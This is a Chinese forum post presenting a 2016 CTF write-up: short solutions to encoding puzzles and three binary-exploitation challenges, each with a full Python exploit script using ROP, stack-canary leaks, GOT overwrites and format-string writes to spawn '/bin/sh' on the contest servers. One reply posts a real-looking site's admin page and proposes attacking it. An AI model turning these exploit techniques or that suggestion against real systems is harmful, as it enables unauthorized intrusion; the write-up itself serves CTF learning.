用户
搜索
  • TA的每日心情
    开心
    2016-10-10 15:25
  • 签到天数: 1 天

    连续签到: 1 天

    [LV.1]初来乍到

    版主

    Rank: 7Rank: 7Rank: 7

    41

    主题

    152

    帖子

    918

    魔法币
    收听
    0
    粉丝
    22
    注册时间
    2016-7-11

    美女勋章

    发表于 2016-12-9 17:16:53 625138
    本帖最后由 一口盐汽水 于 2016-12-9 17:21 编辑

    QQ截图20161209165356.jpg

    0x01 传说中的签到题·进阶篇
    出了tips之后将给的串就是给的tip2,将二进制转换为十进制时候,得到一串字符串
    是“i春秋CTF交流群”的群号,在群介绍有一个字符串,ZmxhZ3tiMTU5MDI4Yy05NWZmLTRmNzEtYWQ3Yi1jZWY1MTBhMjJkMDB9之后base64解密,得到flag。

    0x02 福尔摩斯
    摩斯电码,直接解密即可

    0x03 +——+
    brainfuck解码即可

    0x04 breakingbad(擂主:ziiiro)
    本来一个栈溢出的题目,一开始还找不到洞,因为想要溢出就一定要让程序传给sub_80485FA的参数大于0x200,但是这个值在之前又有个判断,怎么办?苦苦思考半小时,发现有个整数溢出,如果一开始获得的数值为0xffff,加上0x11,就是0x10010,取末两个字节肯定小于0x200,使程序复制0xffff个字节,成功栈溢出。
    整数溢出:
    QQ截图20161209170842.jpg

    但是由于没有清空输入输出缓冲,构造的rop只能写数据读不出来,有位大牛说一直让程序输出,缓冲区满了就输出了,但是想了下,感觉这套路没用过不敢轻易用,脑洞一下,dlresove,libc-database,,,,什么的套路都要泄露有关信息,但是我发现read函数的地址与一个类似于系统调用的指令的地址差值是固定的,而且只有最后一个字节不一样,如果我只修改read的got表的最后一个字节,这样再调用read函数时就可以进行系统调用,通过之前的rop对eax,ebx,ecx,edx依次赋值,成功进行系统调用。只不过在远程时为了获取系统调用的地址还是失败了几次,耽误了一分钟。
    [Python] 纯文本查看 复制代码
    from zio import *
    import time
    import struct
    #target=('127.0.0.1',10000)
    target=('106.75.93.221',21000)
    
    
    io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))
    c2=raw_input('go?')
    payload='1'*0xc
    payload+=l32(0x080483D0)   #read_plt
    payload+=l32(0x0804880D)   #pop 3
    payload+=l32(0x0)
    payload+=l32(0x0804a300)
    payload+=l32(0x200) 
    payload+=l32(0x080486DD)   #main
    io.writeline(payload)
    raw_input('go')
    io.writeline('Methamphetamine'+'\xff'+'\xff'+'2'*0x20)
    raw_input('go')
    ################bss_rop#####################
    payload=l32(0x08048410)    #puts_plt
    payload+=l32(0x0804880F)   #pop ebp
    payload+=l32(0x0804a358)
    payload+=l32(0x0804880F)   #pop ebp
    payload+=l32(0x0804a330)
    payload+=l32(0x080487A5)   #mov     ecx, [ebp+var_4]
    payload+=l32(0x0)*5
    payload+=l32(0x0804a338)
    payload+=l32(0x0)
    payload+=l32(0x0804880e)   #pop ebp
    payload+=l32(0x0804a3b0)
    payload+=l32(0x0)
    payload+=l32(0x080484F8)    #mov edx 0
    payload+=l32(0x0804880C)    #pop ebx 4
    payload+=l32(0x0804a3b0)    
    payload+=l32(0x0)*3
    payload+=l32(0x080483D0)    #syscall
    payload+='1'*0x6+'\x00'*0x4e
    payload+='/bin/sh'+'\x00'
    
    io.writeline(payload)
    ################bss_rop#####################
    
    raw_input('go')
    ################stack_rop##################
    payload='1'*0xc
    payload+=l32(0x080483D0)   #read_plt
    payload+=l32(0x0804880d)   #pop 3
    payload+=l32(0x0)
    payload+=l32(0x0804a00c)   #read_plt
    payload+=l32(0x1)
    payload+=l32(0x0804880F)   #pop ebp
    payload+=l32(0x0804a2fc)
    payload+=l32(0x080486DB)    #leave
    io.writeline(payload)
    ################stack_rop################
    
    raw_input('go')
    io.writeline('Methamphetamine'+'\xff'+'\xff'+'2'*0x20)
    raw_input('go')
    io.write('\x3c')
    io.interact()
    

    0x05 easypwn
    这个的确是easypwn,两处溢出,有个gs保护,思路很清晰,第一次输入泄露cookie,第二次输入进行真正的rop,借助第一题拿到的libc偏移,构造system(“/bin/sh”);拿到shell。
    泄露cookie
    [Python] 纯文本查看 复制代码
    read(0, &buf, 0x100uLL);
      printf(
        "Your name %s sounds so stupid!\nBut you don't looks like a fool,isn't it?\nso why don't tell me your real name?\n",
    &buf);
    
    Stack_overflow:
    read(0, &buf, 0x100uLL);
      puts("Oh!This one is better,nice to meet you!\nGoodbye!See you again!");
      return *MK_FP(__FS__, 40LL) ^ v6;
    }

    脚本如下:
    [Python] 纯文本查看 复制代码
    #!/usr/bin/python
    from zio import *
    import struct
    [/font][font=宋体]target = ('106.75.93.227', 20000)
    #target= ('127.0.0.1',10000)
    
    def exp(target):
        io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))
        c=raw_input('go1?')
        io.read_until('Who are you?\n')
        payload='A'*68+'MARK\n'
        io.write(payload)
        io.read_until('MARK')
        cookie = l64(io.read(8))-0x0a
        print hex(cookie)
        c=raw_input('go2?')
        payload ='A'*68+'MARK'+l64(cookie)
        payload+=l64(0x0000000000000000)#rbp
        payload+=l64(0x04007EA)   #pop rbx|0,rbp|1,r12|func,r13|rdx,r14|rsi,r15|edi  
        payload+=l64(0x0)
        payload+=l64(0x1)
        payload+=l64(0x601028)  #printf_got
        payload+=l64(0x0)   
        payload+=l64(0x0)
        payload+=l64(0x601030)
        payload+=l64(0x4007D0)
        payload+='1'*0x38
        payload+=l64(0x4006C6)   #main
        
        io.write(payload)
        
        test=io.read_until('\x7f')
        test=test[-6:]+'\x00'*2
        read=struct.unpack("<Q",test)[0]
        print hex(read)
        system=read-0xa60a0
    ###############################################################3
        io.read_until('Who are you?\n')
        payload='A'*68+'MARK\n'
        io.write(payload)
        io.read_until('MARK')
        cookie = l64(io.read(8))-0x0a
        print hex(cookie)
        c=raw_input('go2?')
        payload ='A'*68+'MARK'+l64(cookie)
        payload+=l64(0x0000000000000000)#rbp
        payload+=l64(0x04007EA)   #pop rbx|0,rbp|1,r12|func,r13|rdx,r14|rsi,r15|edi  
        payload+=l64(0x0)
        payload+=l64(0x1)
        payload+=l64(0x601030)  #read_got
        payload+=l64(0x10)   
        payload+=l64(0x601b00)
        payload+=l64(0x0)
        payload+=l64(0x4007D0)
        payload+='1'*0x38
        payload+=l64(0x4006C6)   #main
        io.write(payload)
        c=raw_input('go2?')
        io.write('/bin/sh'+'\x00'+l64(system))
    #####################################################################
        io.read_until('Who are you?\n')
        payload='A'*68+'MARK\n'
        io.write(payload)
        io.read_until('MARK')
        cookie = l64(io.read(8))-0x0a
        print hex(cookie)
        c=raw_input('go2?')
        payload ='A'*68+'MARK'+l64(cookie)
        payload+=l64(0x0000000000000000)#rbp
        payload+=l64(0x04007EA)   #pop rbx|0,rbp|1,r12|func,r13|rdx,r14|rsi,r15|edi  
        payload+=l64(0x0)
        payload+=l64(0x1)
        payload+=l64(0x601b08)  #read_got
        payload+=l64(0x0)   
        payload+=l64(0x0)
        payload+=l64(0x601b00)
        payload+=l64(0x4007D0)
        payload+='1'*0x38
        payload+=l64(0x4006C6)   #main
        io.write(payload)
    io.interact()
    


    0x06 what_the_fuck(擂主:test_for_pwn)
    一道没有libc库的题目,第一反应就是不管怎么样,一定要让程序进入rop,其他的后面再说,,,扫了一眼程序,就发现一个格式化字符串漏洞(这个还是很明显的),但是只能打印一回,再看看printf后面有什么其他函数调用没有,额,正常来说没有,,,但是一旦栈溢出了就调用了stack_check_fail了,思路确定,首先改stack_cheak_fail的got值为主函数,然后多次返回主函数往栈中写rop,最后改写rbp控制rsp进入rop
    漏洞点:
    图片3.png


    脚本如下:
    [Python] 纯文本查看 复制代码
    from zio import *
    import struct
    target = ('106.75.93.227',10000)
    io=zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))
    raw_input("go?")
    payload=l64(0x601020)                  
    io.read_until('input your name: ')
    io.write(payload)
    io.read_until('leave a msg: ')
    payload='%.'+str(0x0983)+'d'+'%12$hn'+' %9$s%10$ld'
    payload+='\x00'*(0x18-len(payload))
    payload+=l64(0x601040)
    io.write(payload)
    test=io.read_until('\x7f')
    test=test[-6:]+'\x00'*2
    read=struct.unpack("<Q",test)[0]
    print hex(read)
    syscall=read+0xe
    test=io.read(15)
    print test
    stack=int(test,10)
    print hex(stack)
    payload=l64(0x0)                  
    io.read_until('input your name: ')
    io.write(payload)
    io.read_until('leave a msg: ')
    payload=l64(0x0400A7C) 
    payload+=l64(0x601040)  
    payload+=l64(0x200)     
    payload+=l64(stack-0x88)
        io.write(payload)
    payload=l64(stack-0x90)                  
    io.read_until('input your name: ')
    io.write(payload)
    io.read_until('leave a msg: ')
    payload='%12$n'
    payload+='\x00'*(0x20-len(payload))
    io.write(payload)
    payload=l64(stack-0x88)                  
    io.read_until('input your name: ')
    io.write(payload)
    io.read_until('leave a msg: ')
    payload='%9$n'+'%.'+str(0x400a60)+'d'+'%12$n'
    payload+='\x00'*(0x18-len(payload))
    payload+=l64(stack-0x8c)
    io.write(payload)
    rbp=stack-0xb8
    rbp=rbp%0x10000
    payload=l64(stack-0x1b0)                 
    io.read_until('input your name: ')
    io.write(payload)
    io.read_until('leave a msg: ')
    payload='%.'+str(rbp)+'d'+'%12$hn'
    io.write(payload)
    payload=l64(0x601020)                    
    io.read_until('input your name: ')
    io.write(payload)
    io.read_until('leave a msg: ')
    payload='%.'+str(0x0a1c)+'d'+'%12$hn'
    payload+='\x00'*(0x20-len(payload))
    c2=raw_input("go?")
    io.write(payload)
    payload=l64(0x0400A7A)  
    payload+=l64(0x0)
    payload+=l64(0x1)
    payload+=l64(0x601040)
    payload+=l64(0x3b)
    payload+=l64(0x601b00)
    payload+=l64(0x0)
    payload+=l64(0x400a60)
    payload+=l64(0x0)
    payload+=l64(0x0)
    payload+=l64(0x1)
    payload+=l64(0x601b08) 
    payload+=l64(0x0)
    payload+=l64(0x0)
    payload+=l64(0x601b00)
    payload+=l64(0x400a60)
    raw_input('go')
    io.write(payload)
    raw_input('go')
    io.write('/bin/sh'+'\x00'+l64(syscall)+'\x00'*0x2b)
    io.interact()


    丶不知道 来自手机 i春秋-脚本小子 '俺是傲娇的小尾巴...
    沙发
    发表于 2016-12-9 17:45:14
    新人路过学习了
    使用道具 举报 回复
    发表于 2016-12-9 17:49:33
    在群里早就看过了
    使用道具 举报 回复
    发表于 2016-12-10 23:00:22
    莫斯密码硬是没解密出来。。。。。。。。。。。。。。。。。。。。。。。。。。。。。
    找到后台了,搞他? https://www.laimooc.cn/page/admin.html
    使用道具 举报 回复
    发表于 2016-12-12 18:27:35

    莫斯密码我也是硬是没解密出来
    使用道具 举报 回复
    发表于 2016-12-18 22:55:28
    4题之后完全没看明白,能写详细点吗?想入门一下
    使用道具 举报 回复
    发表于 2016-12-19 17:07:00
    what_the_fuck中泄露出的read地址加上0xe是什么函数?为什么这个函数直接加上参数/bin/sh就可以拿shell了?求楼主指点。。。
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册